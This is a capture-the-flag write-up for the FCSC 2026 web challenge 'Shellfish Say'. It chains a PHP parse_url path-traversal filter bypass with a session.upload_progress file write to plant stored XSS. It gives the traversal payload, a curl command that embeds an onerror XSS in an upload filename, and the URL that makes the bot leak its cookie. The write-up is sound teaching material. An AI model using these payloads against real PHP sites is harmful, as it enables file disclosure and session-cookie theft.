Note
Bypass a .. filter via the parse_url \":\" branch and a
Shellfish Say — parse_url traversal + session.upload_progress to plant stored XSS
CTF: FCSC 2026 · Category: Web (server + client) · client-side flag in the bot's cookie
Challenge overview
A "shellfish says " page. The front page fetches a quote file and drops it into the DOM via
innerHTML — an XSS sink if we control the file content:
// index.php
const quote_file = params.get("quote") ?? "shellfish.txt";
let resp = await fetch(`/get_quote?quote=${quote_file}`);
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = await resp.text();
A bot visits a URL we provide with the flag in its cookie; the VM has no internet, but every
console.log is echoed back over the nc connection. So the goal is XSS in the bot → console.log(document.cookie).
get_quote.php builds a path under /tmp/quotes/ and readfiles it:
$quote_file = "/tmp/quotes/";
if (isset($_GET["quote"])) {
if (strpos($_GET["quote"], ":")) {
$quote_file .= parse_url($_GET["quote"] . ".txt")["path"]; // ":" branch — no .. filter!
} else {
if (strpos($_GET["quote"], "..")) $quote_file .= "shellfish.txt"; // .. blocked here only
else $quote_file .= $_GET["quote"] . ".txt";
}
}
if (!file_exists($quote_file)) $quote_file = "/tmp/quotes/shellfish.txt";
readfile($quote_file);
.htaccess maps extensionless URLs to .php, so /get_quote → get_quote.php.
Arbitrary file read: the ":" + "#" bypass
The .. filter only guards the else branch. If the input contains a :, PHP takes the parse_url
branch instead — where .. is never checked. And the forced .txt suffix can be discarded by ending the
input with #, which parse_url treats as the fragment:
quote = x:/../sess_cnf#
-> parse_url("x:/../sess_cnf#.txt") -> scheme=x, path=/../sess_cnf, fragment=.txt
-> /tmp/quotes/ . "/../sess_cnf" = /tmp/sess_cnf
So ?quote=x:/../sess_cnf# reads /tmp/sess_cnf. (When the value travels through the front page's
fetch("/get_quote?quote=..."), encode the # as %2523 so it survives the extra decode layer; hitting
get_quote.php directly only needs %23.) Log-poisoning was the first idea, but Apache logs are symlinks
to /dev/stdout//dev/stderr on a read-only FS — dead end. We need a different file we control.
Writing attacker bytes to /tmp: session.upload_progress
The container's php.ini has session.upload_progress.cleanup = Off. PHP's upload-progress feature
writes a session file at /tmp/sess_<PHPSESSID> when a multipart POST includes a
PHP_SESSION_UPLOAD_PROGRESS field — and the serialized session content embeds the attacker-controlled
upload filename verbatim, persisting because cleanup is off. Choose the SID, put the XSS in the
filename:
curl -X POST 'http://shellfish-say/get_quote.php' \
-b 'PHPSESSID=cnf' \
-F 'PHP_SESSION_UPLOAD_PROGRESS=x' \
-F 'file=@/dev/null;filename=<img src=1 onerror=console.log(document.cookie)>'
Resulting /tmp/sess_cnf (note our name field):
a:1:{s:17:"upload_progress_x";a:5:{...s:5:"files";a:1:{i:0;a:7:{...s:4:"name";s:..:"<img src=1 onerror=console.log(document.cookie)>";...}}}}
(Upload /dev/null, not /dev/urandom — a huge upload just hangs the request.)
Firing the XSS
get_quote.php readfiles the session file and the response is served as text/html, so the raw <img>
renders and onerror runs immediately — no need to even go through the innerHTML sink. Point the bot at:
http://shellfish-say/get_quote.php?quote=x:/../sess_cnf%23
The img's onerror runs in the bot's page with the flag cookie present → console.log(document.cookie)
is echoed back:
[T1]> console.log FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}
Takeaways (generalized technique)
parse_url()branches (triggered by a:) often sidestep string filters applied to the other code path — classic traversal-filter bypass.- A trailing
#(fragment) discards a forced suffix like.txtappended before parsing. session.upload_progressis a reliable attacker-controlled file write into/tmp(filename and SID are yours); withcleanup = Offthe file persists for a later read/LFI/SSTI/include.- A file-read sink whose response is rendered as HTML (or fed to
innerHTML) turns "read a file you planted" into stored XSS. - Watch double-decoding layers: a value passed through a second URL (here
fetch("/get_quote?quote=...")) needs the#double-encoded (%2523).
Sources & references
- Challenge source:
fcsc2026/web/shellfish_say - PHP session upload progress: https://www.php.net/manual/en/session.upload-progress.php